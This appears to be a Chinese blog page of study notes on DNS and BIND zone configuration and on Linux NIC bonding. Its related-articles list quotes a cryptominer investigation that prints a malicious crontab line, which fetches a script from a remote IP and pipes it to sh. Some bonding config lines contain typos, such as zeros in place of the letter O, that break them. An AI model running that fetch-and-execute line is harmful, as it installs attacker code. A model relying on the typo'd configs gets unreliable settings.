当前位置: 首页 > news >正文

DNS域名

DNS域名

DNS是域名系统的简称

域名和ip地址之间的映射关系

互联网中,ip地址是通信的唯一标识

访问网站,域名,ip地址不好记,域名朗朗上口,好记。

域名解析的目的就是为了实现,访问域名就等于访问ip地址

在访问域名的时候,通过dns解析,把域名映射的IP地址解析出来,然后实际上访问的还是域名映射的IP地址

类似于导航,输入域名之后,就可以定位出塔的ip地址,然后访问。

www.baidu.com

访问baidu,就是计算机向dns服务器发起查询请求,dns就会搜索自己的数据库,域名和ip的映射关系。

然后IP地址返回给计算机,计算机访问的还是域名对应的ip

在这里插入图片描述

域名体系结构:

www.baidu.com.cn.

从右往坐看

. 根域又叫根域名dns服务器,专门负责解析根域

cn. 根域后面跟一级域,一般国家或者地区的名称。

13个根域,10个在美国,日本 1,英国 1,瑞典 1

ipv4地址根服务器,国内有2个镜像服务器

ipv6根域服务器,1主3从,美国1主2从

com. 二级域 组织名称 com 商业组织 edu教育机构 org非盈利组织 net 运营商 gov 政府机构

baidu. 三级域(传统意义上的域名)这是要花钱买

www. 主机名,就是一台具体的计算机

DNS解析使用的协议和端口,协议tcp和udp端口53

tcp的53端口用于连接dns服务器

udp的53端口用于解析dns

dns域名的长度限制,每一级的域名长度限制是63个字符,域名的总长度不能超过253个字符。

dns域名解析的过程
在这里插入图片描述

host 本地文件 优先级是最高的,只对当前主机有效

dns服务器(运营商)第二个

hosts文件 /etc/hosts linux

如何实现域名解析(内网 局域网内部的域名解析)

bind 用来做局域网内部的域名解析

内网的dns不需要注册。内部使用

正向解析

反向解析

主从服务器解析

test1 192.168.39.30 bind

test2 192.168.39.40 bind

/etc/named.conf bind的主配置文件

在这里插入图片描述

/etc/named.rfc1912.zones 区域配置文件

zone "xy102.com" IN {
表示正向解析,xy102.com域名
type master;
类型为主区域
file "xy102.com.zone",
#区域数据文件的文件名
allow-update { none; };
区域动态更新的权限,none禁止区域动态更新,

/var/named/named.localhost

正向解析代码解释cp -a named.localhost 	xy102.com.zone$TTL 1DDNS的检索记录,保存在缓存中的时间是1天,在1天之内,如果有缓存就不需要再向dns服务器发起请求@       IN SOA  @ rname.invalid. (@当前dns的区域名IN	inernet	协议SOA	解析类型,第一条解析记录,从起始位置开始记录​                                        0       ; serial0	更新序列号,0不更新​                                        1D      ; refresh1D 	刷新时间,地址数据如果有变动,1天刷新一次​                                        1H      ; retry重试的间隔时间​                                        1W      ; expire失效时间,解析地址下载失败后,多长时间内放弃​                                        3H )    ; minimum无效解析记录的生存时间​        NS      @ns	nameserver	解析服务器的ip地址	192.168.39.30​        A       127.0.0.1A	正向解析​        AAAA    ::1AAAA	ipv6解析MX	邮件地址
正向解析
$TTL 1D
@       IN SOA  xy102.com. admin.xy102.com.  (0       ; serial1D      ; refresh1H      ; retry1W      ; expire3H )    ; minimumNS      xy102.com.A       192.168.39.30
IN MX 10 mail.xy102.com.
www IN A 192.168.39.100
mail IN A 192.168.39.110

在这里插入图片描述

反向解析
$TTL 1D
@       IN SOA  xy102.com. admin.xy102.com.  (0       ; serial1D      ; refresh1H      ; retry1W      ; expire3H )    ; minimumNS      xy102.com.A       192.168.39.30
100 IN PTR www.xy102.com
110 IN PTR mail.xy102.com

在这里插入图片描述

注意!
写完解析配置后要更改/etc/resolv.conf
更改为本机的ip地址

主从

给test2关闭防火墙,关闭防御机制,安装bind
test1中把/etc/resolv.conf改为主从都有的ip
test1中把/etc/named.rfc1912.zones
改为allow-transfer{192.168.39.40}
#让主服务器指向从服务器
回到test2中,修改他的/etc/resolv.conf改为主从ip
修改test2中,/etc/named.conf 监听地址都改为any
修改test2中,/etc/named.rfc1912.zones
zone "xy102.com" IN {type slave;#改为从file "slaves/xy102.com.zone";masters { 192.168.39.30; };#主地址
};zone "39.168.192.in-addr.arpa" IN {type slave;file "slaves/xy102.com.zone.local";masters { 192.168.39.30; };
};
systemctl restart named #重启程序
cd /var/named/slaves 里面有文件说明修改成功
然后我们在test1里面关闭named,在test2解析xy102.com,成功说我们操作成功

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

bond网卡:

两张网卡,两张网卡用一个ip地址

相当于做网卡的高可用和负载均衡

linux网卡的绑定模式

mode=0 负载均衡方式 load-balancing 负载均衡 两个网卡都工作

mode=1 冗余,只有主工作,从不工作,主挂了,从才工作

mode=2 平衡策略,负载均衡和容错能力 冗余的升级版

mode=3 广播策略,没用

mode=4 动态链聚合,连接交换机

mode=5 负载均衡,但是需要额外插件,ethtool支持每个slave的速率(定制模式,很少)

mode=6 适配器的负载均衡(很少)

BONDING OPTS="miimon=100 mode=0 fail_over_mac=1’
绑定的模式和选项
miimon=100 检查所有从设备的连接转态 100毫秒
每隔100毫秒检查从设备网卡的连接状态
fail over_mac=1 表示在故障切换时,备用接口会获取主接口的mac地址。减少切换过程中可能出现的故障,
如果计算机连接交换机,交换机不需要重新学习mac地址。ens33 ens36 都知道对方的mac地址。

tcpdump linux自带的网络抓包的工具
tcpdump -i ens33
tcpdimp -i ens36

在test1添加一个网卡,确定为两个网卡
我们ifconfig查看另一个网卡的名称,一般为ens36
在cd /etc/sysconfig/network-scripts/下
cp ifcfg-ens33 ifcfg-ens36
vim ifcfg-ens33
TYPE=Ethernet
DEVICE=ens33
ONB00T=yes
B00TPROT0=none
MASTER=bond0
SLAVE=yes
USERCTL=novim ifcfg-ens36
TYPE=Ethernet
DEVICE=ens36
ONB00T=yes
B00TPROT0=none
MASTER=bond0
SLAVE=yes
USERCTL=novim ifcfg-bond0
TYPE-Ethernet
DEVICE-bond0
0NB00T=yes
B00TPROT0=static
IPADDR=192.168.233.200
NETMASK=255.255.255.0
GATEWAY=192.168.233.2
DNS1-218.2.135.1
BONDING OPTS="miimon=100 mode=0 fail over mac=1“modprobe bonding
systemctl restart network

在这里插入图片描述

在这里插入图片描述

相关文章:

DNS域名

DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中,ip地址是通信的唯一标识 访问网站,域名,ip地址不好记,域名朗朗上口,好记。 域名解析的目的就是为了实现,访问域名就等于访问ip地址…...

19 - 查询结果的质量和占比(高频 SQL 50 题基础版)

19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...

一次挖矿病毒的排查过程

目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务&#xff1a; * * * * * wget -q -O - http://1…...

【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】

文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...

ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案

参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...

iphone突然黑屏?3种方法解决问题!

iphone突然黑屏这应该是出现了iOS系统故障。一般来说&#xff0c;无摔落、浸水等情况造成设备出现硬件问题&#xff0c;多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的&#xff0c;但还是可能因各种使用情况出现不一样的iOS系统问题&#xff0c;包括升级、越狱、安装…...

nn.GRU和nn.GRUCell区别

nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...

Coolmuster Android助手评测:简化Android到电脑的联系人传输

产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能&#xff0c;成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...

【杂记-webshell恶意脚本木马】

一、webshell概述及分类 概述 webshell&#xff0c;通常作为web应用管理工具&#xff0c;运维人员可以通过 webshell &#xff08;服务器管理工具&#xff09;针对 web 服务器进行日常的运维管理以及系统上线更新等&#xff0c;攻击者也可以通过 webshell &#xff08;后门程序…...

锻炼 精读笔记 01

元数据 [!abstract] 锻炼 书名&#xff1a; 锻炼作者&#xff1a; 丹尼尔利伯曼简介&#xff1a; 我们是为休息而生&#xff0c;还是为跑而生&#xff1f; 跑步会毁了你的膝盖吗? 哪种运动项目蕞适合我&#xff1f; 懒惰是不正常的行为吗&#xff1f; 每晚都需要睡够 8 个小时…...

基于pytorch的车牌识别

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 一、导入数据 from torchvision.transforms import transforms from torch.utils.data import DataLoader from torchvision import datase…...

红酒:如何避免红酒过度氧化

红酒过度氧化是影响其品质的重要因素&#xff0c;尤其是在储存和运输过程中。过度氧化的红酒会失去原有的果香和口感&#xff0c;变得平淡无味。因此&#xff0c;避免红酒过度氧化至关重要。以下是一些进一步的措施&#xff0c;可以帮助您保护云仓酒庄雷盛红酒的品质&#xff1…...

FreeRTOS学习笔记-基于stm32(9)信号量总结(二值信号量、计数型信号量、互斥信号量、优先级翻转、优先级继承)

一、什么是信号量 信号量是一种队列&#xff0c;用于任务间同步和资源管理的机制&#xff0c;主要用来传递状态。就像是一种特殊的“旗子”或“钥匙”&#xff0c;用来在不同的任务之间进行沟通和协调&#xff0c;确保它们能够正确地配合工作&#xff0c;不会互相干扰。 二、二…...

归并排序——二路归并排序

目录 1、简述 2、复杂度 3、稳定性 4、例子 1、简述 二路归并排序&#xff08;Merge Sort&#xff09;是一种基于分治法的排序算法&#xff0c;通过将数组递归地拆分成两部分&#xff0c;分别排序后再合并&#xff0c;从而实现整个数组的有序。二路归并排序具有稳定性和高…...

java-StringBuilder

StringBuilder 是 Java 中一个重要的类&#xff0c;它提供了可变的字符序列&#xff0c;可以用来高效地执行字符串操作&#xff0c;如拼接、替换和删除等。在 Java 编程中&#xff0c;字符串操作是非常常见的&#xff0c;而 StringBuilder 类为我们提供了简单、高效的方式来完成…...

数据结构 | 超详细讲解七大排序(C语言实现,含动图,多方法!)

目录 ​编辑 排序的概念 常见排序算法 ​编辑 1.冒泡排序 &#x1f379;图解 &#x1f973;代码实现 &#x1f914;时间复杂度 2.插入排序 &#x1f379;图解 &#x1f334;深度剖析 &#x1f34e;代码思路 &#x1f973;代码实现 &#x1f914;时间复杂度 3.希尔…...

企业自建邮件系统的优势,安全性更高,功能更灵活,维护更便捷

在当今企业信息管理的浪潮中&#xff0c;企业邮件系统显得尤为关键&#xff0c;它不仅加强了内部的沟通效率&#xff0c;还对外展示了企业的专业形象。然而&#xff0c;传统租用企业邮箱服务存在一些不足&#xff0c;如缺乏灵活性、数据管理混乱和难以实现个性化需求&#xff0…...

Softing工业助力微软解锁工业数据,推动AI技术在工业领域的发展

一 概览 Softing作为全球先进工业通信解决方案供应商之一&#xff0c;与微软合作共同推出了众多工业边缘产品&#xff0c;以实现工业应用中OT和IT的连接。这些产品可在基于微软Azure云平台的IIoT解决方案中轻松集成和运行&#xff0c;并为AI解锁工业数据&#xff0c;还可通过A…...

企微自动化机器人的应用与前景

一、引言 随着信息技术的飞速发展&#xff0c;企业对于提高内部运营效率、降低人力成本的需求日益迫切。在这样的背景下&#xff0c;企微自动化机器人应运而生&#xff0c;以其高效、便捷的特点&#xff0c;迅速成为企业内部的得力助手。本文将深入探讨企微自动化机器人的应用现…...

从零开始:如何用Electron将chatgpt-plus.top 打包成EXE文件

文章目录 从零开始&#xff1a;如何用Electron将chatgpt-plus.top 打包成EXE文件准备工作&#xff1a;Node.js和npm国内镜像加速下载初始化你的Electron项目创建你的Electron应用运行你的Electron应用为你的应用设置图标打包成EXE文件结语 从零开始&#xff1a;如何用Electron将…...

装饰模式(Decorator Pattern)重构java邮件发奖系统实战

前言 现在我们有个如下的需求&#xff0c;设计一个邮件发奖的小系统&#xff0c; 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式&#xff08;Decorator Pattern&#xff09;允许向一个现有的对象添加新的功能&#xff0c;同时又不改变其…...

51c自动驾驶~合集58

我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留&#xff0c;CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制&#xff08;CCA-Attention&#xff09;&#xff0c;…...

css实现圆环展示百分比,根据值动态展示所占比例

代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

rknn优化教程(二)

文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK&#xff0c;开始写第二篇的内容了。这篇博客主要能写一下&#xff1a; 如何给一些三方库按照xmake方式进行封装&#xff0c;供调用如何按…...

day52 ResNet18 CBAM

在深度学习的旅程中&#xff0c;我们不断探索如何提升模型的性能。今天&#xff0c;我将分享我在 ResNet18 模型中插入 CBAM&#xff08;Convolutional Block Attention Module&#xff09;模块&#xff0c;并采用分阶段微调策略的实践过程。通过这个过程&#xff0c;我不仅提升…...

【入坑系列】TiDB 强制索引在不同库下不生效问题

文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

YSYX学习记录(八)

C语言&#xff0c;练习0&#xff1a; 先创建一个文件夹&#xff0c;我用的是物理机&#xff1a; 安装build-essential 练习1&#xff1a; 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件&#xff0c;随机修改或删除一部分&#xff0c;之后…...

将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?

Otsu 是一种自动阈值化方法&#xff0c;用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理&#xff0c;能够自动确定一个阈值&#xff0c;将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

MODBUS TCP转CANopen 技术赋能高效协同作业

在现代工业自动化领域&#xff0c;MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步&#xff0c;这两种通讯协议也正在被逐步融合&#xff0c;形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...

unix/linux,sudo,其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...